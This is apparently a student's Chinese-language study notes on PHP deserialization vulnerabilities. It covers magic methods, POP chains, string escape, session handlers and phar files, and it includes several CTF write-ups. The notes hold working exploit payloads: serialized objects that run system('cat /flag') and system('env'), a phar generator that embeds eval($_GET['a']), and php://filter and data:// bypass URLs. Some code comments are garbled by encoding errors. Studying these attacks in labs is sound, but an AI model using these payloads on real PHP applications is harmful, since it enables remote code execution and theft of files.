php序列化与反序列化

序列化基础知识

$value = ‘php://filter/convert.base64-encode/resource=/flag’

include(“/flag”); /flag 不是有效 PHP 脚本(没有 <?php),就会 白屏或报错

include执行文件的内容而不是显示

image-20250625113351918

image-20250625114200088

对象的序列化

image-20250625144545271

反序列化的特性

1.反序列化之后的内容是一个对象

2.反序列化生成的对象里的值,由反序列化里的值提供:与原有类预定义的值无关;

​ 不管有没有类 类里面原来定义的是什么

3.反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法)

反序列化就是把序列化后的参数还原成实例化的对象

反序列化漏洞的成因:反序列化过程中,unserialize()接收的值(字符串)可控
通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值。

a); } } $get = $_GET["benben"]; $b = unserialize($get); $b->displayVar() ; ?>

?benben=O:4:”test”:1:{s:1:”a”;s:13:”system(‘id’);”;}不明白我的为什么没有回显信息

魔术方法

常见的几个魔术方法:

名称 触发时机
__construct() 在对象实例化(创建对象)的时候自动触发
__destruct() 在销毁对象的时候自动触发
__wakeup() 执行unserialize()时,先会调用这个函数
__sleep() 执行serialize()时,先会调用这个函数
__call() 在对象上下文中调用不可访问的方法时触发
__get() 访问私有或不存在的成员属性的时候自动触发
__set() 对私有成员属性进行设置值时自动触发
__isset() 对私有成员属性进行 isset 进行检查时自动触发
__unset() 对私有成员属性进行 unset 进行检查时自动触发
__toString() 把类当作字符串使用时触发
__invoke() 当尝试将对象调用为函数时触发

what:一个预定义好的,在特定情况下自动触发的行为方法。

相关机制:

触发时机(最关键):动作不同触发的方法也不同

功能 参数(一些魔术方法会传参) 返回值

image-20250625183141632

__construst:

构造函数 在实例化一个对象的时候首先会去自动执行的一个方法

__destruct:

在反序列之后

析构函数,在对象的所有引用被删除或者当对象被显式销毁时执行的魔术方法

image-20250625185048837

这里触发析构函数的是new和unserialize (反序列化得到的是对象 用完后会销毁)

serialize不会触发析构

__sleep

serialize序列化之前

image-20250625190737311

sleep在前

image-20250625190908712

image-20250625191336634

只会返回sleep里的username和nickname 因为在serialize时触发了sleep sleep里没有passwd

小例题

image-20250625191753751

__wakeup

在反序列化之前

image-20250705202706695

image-20250705202721518

POP链

image-20250705220024143

image-20250706090124017

image-20250706091820976

image-20250706092534270

字符串逃逸image-20250706095246893

减少和增多

反序列化字符串减少逃逸:多逃逸出一个成员属性第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性

减少是吃掉 增多是吐出来

Session

调用session_start 或者php.ini里面的session.auto_start为1 php内部调用会话管理器 访问用户session被序列化之后存储到指定目录下

漏洞产生:写入格式和读取格式不一样image-20250708200654122

image-20250708200938575

Session 的工作机制是:为每个访客创建一个唯一的 id (UID),并基于这个 UID 来存储变量。UID 存储在 cookie 中,或者通过 URL 进行传导。

生成phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
class Testobj
{
var $output='';
}

@unlink('test.phar'); //鍒犻櫎涔嬪墠鐨則est.par鏂囦欢(濡傛灉鏈�)
$phar=new Phar('test.phar'); //鍒涘缓涓€涓猵har瀵硅薄锛屾枃浠跺悕蹇呴』浠har涓哄悗缂€
$phar->startBuffering(); //寮€濮嬪啓鏂囦欢
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //鍐欏叆stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//鍐欏叆meta-data
$phar->addFromString("test.txt","test"); //娣诲姞瑕佸帇缂╃殑鏂囦欢
$phar->stopBuffering();
?>

记得修改php.ini里面的配置

php-ser-libs

level1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//class a{
// var $act;
// function action(){
// eval($this->act);
// }
//}
//$a=unserialize($_GET['flag']);
//$a->action();
class a {
var $act ="show_source('flag.php');";
function action(){
eval($this->act);}
}
$a=new a();
echo serialize($a);

?>

对输入的flag进行反序列化 再调用action

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class mylogin
{
var $user;
var $pass;
function __construct($user, $pass)
{
$this->user = $user;
$this->pass = $pass;
}

function login()
{
if ($this->user == "daydream" and $this->pass == "ok") {
return 1;
}
}
}
$b=new mylogin("daydream","ok");

echo urldecode(serialize($b));

漏洞在于这个程序他只看账号密码对不对 不管对象是谁 所以利用序列化构造字符串给输入 书面一点:

程序直接相信了反序列化后的对象,而没有验证对象的来源和合法性

level3

1
2
3
4
5
6
7
class mylogin{
public $user="daydream";
public $pass="ok";
}
$b=new mylogin("daydream","ok");

echo urlencode(serialize($b));

这里和第二关是一样的方法 只不过得到的参数需要通过cookie传进去

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 

class func
{
public $key;
public function __destruct()
{
unserialize($this->key);
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

unserialize($_GET['param']);

?>
<br><a href="../level5">点击进入第五关</a>

我们伪造一个 GetFlag 对象,它能执行代码。

然后我们把这个对象塞进一个 func 对象的 key 里面。

把整个 func 对象变成字符串(序列化)后,通过 param=... 参数传给服务器。

程序执行后,会反序列化出 func → 又反序列化出 GetFlag → 最终触发代码执行

靶场有问题开了其他靶场

PHPSerialize

level1

1
2
3
4
5
6
7
8
9
10
11
class FLAG{
public $flag_string = "HelloCTF{????}";

function __construct(){
echo $this->flag_string;
}
}

$code = $_POST['code'];

eval($code);

实例化flag类触发__destruct

new FLAG

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

error_reporting(0);

$flag_string = "HelloCTF{????}";

class FLAG{
public $free_flag = "???";

function get_free_flag(){
echo $this->free_flag;
}
}

$target = new FLAG();//定义变量target并且new FLAG()进行实例化

$code = $_POST['code'];

if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}

code=$target->free_flag=$flag_string;

target是一个对象变量 这指向他的一个free_flag属性 再把flag_string赋值给free_flag(public是公有属性所以可以直接赋值)

level3

image-20250707172544231

var_dump(get_defined_vars()); 这段代码在 PHP 中的作用是:输出当前作用域中所有已定义的变量及其值

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class FLAG3{
private $flag3_object_array = array("?","?");
}//定义了flag3这个类里面的这个属性是private私有的
//再里面array是个数组

class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;//三个私有变量

function __construct() {
$this->flag3_object = new FLAG3();//定义这个方法 实例化了flag3
}

}

$flag_is_here = new FLAG();


$code = $_POST['code'];

if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}

level5

[SWPUCTF 2022 新生赛]ez_1zpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo = 'hi';
public $md51 = 'weclome';
public $md52 = 'to NSS';

function __construct()//创建对象时
{
$this->impo = new dxg;
}
function __wakeup()//2.触发__wakeup之后 实例化dxg 调用fmm()
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()//4.把对象当成字符串时 然后这里有个判断条件
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();//双等号判断 md5碰撞绕过
}

function __destruct()//3.对象销毁前 执行这个echothis当字符串执行 所以这个时候会触发tostring
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;

function fmm()
{
$b = $this->a;
$b($this->title);//动态函数的调用
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);//1.传入进去的nss首先要反序列化 反序列化就会触发__wakeup
} else {
highlight_file(__file__);
}

md5 碰撞绕过

首先肯定是要触发tostring里面的比较的 tostring触发条件是当作字符串处理 所以__destruct里的echo会触发

触发destruct在对象被销毁之前 传入的nss执行完毕之后对象lt自动销毁 所以触发destruct 然后进入到tostring里的md5弱类型比较

这里的比较是

image-20250707095216681

就是md51和md52的md5值要相等同手md51和md52的原始值不能相同

满足之后就会触发return $this->impo->fmm();

也就是$lt->impo->fmm();

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class dxg {}
class fin {
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
}
class lt {
public $impo;
public $md51;
public $md52;
}

// 构造 fin 对象
$fin = new fin();
$fin->a = 'file_get_contents';
$fin->title = '/flag';

// 构造 lt 对象
$lt = new lt();
$lt->impo = $fin;
$lt->md51 = '240610708';
$lt->md52 = 'QNKCDZO';

// 序列化输出
$payload = serialize($lt);
echo "Raw payload:\n$payload\n\n";
echo "URL encoded payload:\n" . urlencode($payload) . "\n";

然后会发现这里回显的是xdg中的nonono

原因是传入的payload使自动触发了wakeup(反序列化时)wakeup强制执行$this->impo = new dxg; return $this->impo->fmm();把$lt->impo = new fin() 给覆盖了

?NSS=O:2:”lt”:4:{s:4:”impo”;O:3:”fin”:3:{s:1:”a”;s:6:”system”;s:3:”url”;s:21:”https://www.ctfer.vip";s:5:"title";s:9:"cat /flag”;}s:4:”md51”;s:11:”s155964671a”;s:4:”md52”;s:11:”s214587387a”;}

[NewStarCTF 2023 公开赛道]POP Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
 <?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";//2.echo输出字符串 触发tostring
}else{
echo "Welcome to NewStarCTF 2023!";
}
}

}

class Then{
private $func;

public function __toString()//3.
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()//第三call 然后到end
{
$this->obj->getStr();
}

public function end()//执行unset
{
die("==GAME OVER==");
}

}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}

}

@unserialize($_POST['pop']); //1.反序列化触发__destruct

先来看一共有的魔术方法

__call调用未定义方法时 是Handle

__invoke对象被当作函数调用时 Siper

__unset

__destruct对象被销毁时 begin

__tostring对象被当作字符串

1
2
3
4
5
6
7
$pop=new Begin();
$pop->name=new Then();
$pop->name->func=new Super();
$pop->name->func->obj=new Handle();
$pop->name->func->obj->obj=new CTF();
$pop->name->func->obj->obj->handle=new WhiteGod();
echo serialize($pop);

新生赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
error_log('0');
class A{
public $a;
public $b;
function flag(){
echo "A";
eval($this->a);//这里的eval是最终要执行的步骤(执行命令)
}
}
class B{
public $c;
public $d;
function __invoke(){
echo "B";
$this->c->flag();
}
}
class C{
public $e;
function __get($key){//然后到get 想去触发invoke就是把对象当作函数去调用 $this=e
echo "C";
$function=$this->e;
return $function();
}
}
class D{
public $str;
public $code;
function __toString(){//2.然后这个d想要去触发__get 怎么触发 就是去构造一个c没有的$str $D->str=$C 让d的str指向c
echo "D";
return $this->str->code;
}
}
class E{
public $zg;
function __destruct(){//1.触发destruct 通过实例化这个E 这个时候输出this把对象当字符串输出了 所以会到tostring $E=new E();
echo "E";
echo $this->zg;
}
}
if (isset($_GET['zgctf'])) {
unserialize($_GET['zgctf']);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class A{
public $a;
public $b;
}
class B{
public $c;
public $d;

}
class C{
public $e;

}
class D{
public $str;
public $code;

}
class E{
public $zg;

}
$E= new E();
$A= new A();
$B= new B();
$C= new C();
$D= new D();
$A->a='system("env");';
$B->c=$A;
$C->e=$B;
$D->str=$C;
$E->zg=$D;
$payload = serialize($E);
echo urlencode($payload);

buuctf-[ZJCTF 2019]NiZhuanSiWei

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents函数

是 PHP 中用于将文件内容读入为字符串的函数,是文件读取中最常用的方法之一。

image-20250709151643425

所以在这里 将text读取字符串 同时还要和welcome to the zjctf一模一样

?text=data://text/plain,welcome%20to%20the%20zjctf

image-20250709151945249

成功绕过第一层过滤

然后继续往下看源代码 看到preg_match

preg_match() 是 PHP 中用于执行 正则表达式匹配 的函数 在这里只要我的$file包含flag就会被拒绝

所以只要不出现就能绕过了

image-20250709152829141

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&&file=php://filter/read=convert.base64-encode/resource=useless.php

=&和&&是一样效果

image-20250709155238105

好的然后把得到的这个(一看就是base64加密哈)我的网站解密出来有乱码image-20250709155900326

ai给我修复了一下是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class Flag { // flag.php
public $file;

public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file) . "<br>";
}
return "U R SO CLOSE !///COME ON";
}

}
?>

只有一个tostring方法

把这串扔到ps里面加个序列化输出

image-20250709162303551

代码有提示flag.php所以file等于flag.php 得到的东西传入到password 构造出最后的payload

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}

这个是学长给的必学的一个网站

[https://www.cnblogs.com/Eddi eMurphy-blogs/p/18310518]( https://www.cnblogs.com/Eddi eMurphy-blogs/p/18310518)

让大王来看看

先来理解一下什么是 mb_strpos()mb_substr()

首先mb_strpos()mb_substr() 在面对 非法编码的字符或多字节截断字符 时,行为不一致,可能引发绕过漏洞

他俩是多字节字符串处理函数。为什么叫“多字节”?因为像中文“中”这个字在 UTF-8 中不是一个字节,而是 3 个字节

mb_strpos($str, $needle) 它是用来在字符串中查找某个子字符串的位置的。

1
2
$str = "hello admin";
echo mb_strpos($str, "admin"); // 输出:6

‘mb_substr($str, $start, $length)’它是用来“截取”字符串一部分的,比如从第几个字开始截几个字符。

1
2
$str = "hello admin";
echo mb_substr($str, 6, 5); // 输出:admin

我又开了一个文章写这个点 bye

一些常用的知识

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private变量会被序列化为:/x00类名/x00变量名
protected变量会被序列化为: /x00/*/x00变量名
public变量会被序列化为:变量名
在PHP中,类不区分大小写

__sleep() //在对象被序列化之前运行 *

__wakeup() //将在反序列化之后立即调用 *
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。此特性自 PHP 7.4.0 起可用。
__construct() //当对象被创建时,会触发进行初始化
__destruct() //对象被销毁时触发
__toString(): //当一个对象被当作字符串使用时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量)
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试以调用函数的方式调用一个对象时

这是我偷的一个佬的博客上的东西 他的笔记写的好全

https://chenxi9981.github.io/